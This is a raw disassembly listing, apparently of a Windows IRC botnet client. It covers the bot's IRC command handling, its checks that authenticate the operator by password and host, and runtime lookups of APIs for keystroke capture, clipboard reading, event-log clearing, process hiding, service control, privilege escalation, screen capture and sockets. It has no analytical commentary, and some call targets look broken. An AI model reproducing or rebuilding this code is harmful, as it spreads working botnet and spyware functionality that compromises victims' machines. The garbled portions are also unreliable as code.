		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 2660F2Bh
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEC4[eax]
		nop
		call	near ptr 268082Dh
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEC4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCB0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296BC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_429694


loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h


loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_429670
		jmp	short loc_409689
; ---------------------------------------------------------------------------


loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429644


loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DB0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429628
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429604
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_4295E0
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295BC
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429598
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		call	near ptr 2660F2Bh
		nop


loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429570
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------


loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42954C


loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx


loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA30 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE2C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429548 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294C8
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160


loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429474
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998


loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429454
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429434
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE24, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		call	near ptr 2660F2Bh
		nop

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE34, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAEDC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CAFD4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CAE7C, eax
		jz	short loc_409C10
		cmp	dword_4CAF94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF78, ebx
		jz	short loc_409C10
		cmp	dword_4CAE88, ebx
		jz	short loc_409C10
		cmp	dword_4CAE64, ebx
		jz	short loc_409C10
		cmp	dword_4CAEDC, ebx
		jz	short loc_409C10
		cmp	dword_4CAFD4, ebx
		jz	short loc_409C10
		cmp	dword_4CB030, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A


loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB034, 1


loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFAC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------


loc_409C32:				; CODE XREF: sub_409B12+1Dj
		nop
		call	near ptr 26709FBh
		mov	dword_4CB038, eax
		mov	dword_4CB034, 1


loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26A0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		cmp	dword_4CAFD0, ebx
		mov	dword_4CAEB4, eax
		jz	short loc_409D00
		cmp	dword_4CAF80, ebx
		jz	short loc_409D00
		cmp	dword_4CAF14, ebx
		jz	short loc_409D00
		cmp	dword_4CB024, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CAF64, ebx
		jz	short loc_409D00
		cmp	dword_4CAFC8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A


loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB03C, 1


loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE48, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF40, ebx
		mov	dword_4CAEF8, eax
		jz	short loc_409D67
		cmp	dword_4CAE48, ebx
		jz	short loc_409D67
		cmp	dword_4CAF10, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------


loc_409D5C:				; CODE XREF: sub_409B12+144j
		nop
		call	near ptr 26709FBh
		mov	dword_4CB040, eax


loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB03C, 1


loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF28, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAED8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAFE4, ebx
		mov	dword_4CAF04, eax
		jz	short loc_409E1A
		cmp	dword_4CAF28, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF98, ebx
		jz	short loc_409E1A
		cmp	dword_4CAE74, ebx
		jz	short loc_409E1A
		cmp	dword_4CAED8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF50, ebx
		jnz	short loc_409E24


loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB044, 1


loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF30, eax
		call	esi
		cmp	dword_4CAF58, ebx
		mov	dword_4CAFE0, eax
		jz	short loc_409E5F
		cmp	dword_4CAF30, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69


loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB044, 1


loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE50, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE58, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEBC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF34, eax
		call	esi
		cmp	dword_4CAF68, ebx
		mov	dword_4CAE5C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE50, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE58, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEBC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEC0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE6C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF34, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17


loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB044, 1


loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE54, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------


loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		nop
		call	near ptr 26709FBh
		mov	dword_4CB048, eax


loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB044, 1


loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAF7C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE44, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE30, eax
		call	esi
		cmp	dword_4CAF60, ebx
		mov	dword_4CAED0, eax
		jz	short loc_40A016
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A016
		cmp	dword_4CAF7C, ebx
		jz	short loc_40A016
		cmp	dword_4CAE98, ebx
		jz	short loc_40A016
		cmp	dword_4CAE44, ebx
		jz	short loc_40A016
		cmp	dword_4CAFBC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE30, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------


loc_40A00B:				; CODE XREF: sub_409B12+438j
		nop
		call	near ptr 26709FBh
		mov	dword_4CB050, eax


loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB04C, 1


loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAEE4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB018, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAE84, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB010, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CAFD8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		mov	dword_4CAF4C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAF9C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF54, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		cmp	dword_4CAEE4, ebx
		mov	dword_4CB00C, eax
		jz	loc_40A2E7
		cmp	dword_4CB018, ebx
		jz	loc_40A2E7
		cmp	dword_4CAE84, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF20, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF08, ebx
		jz	loc_40A2E7
		cmp	dword_4CAECC, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	loc_40A2E7
		cmp	dword_4CB010, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF1C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB000, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF74, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF70, ebx
		jz	loc_40A2E7
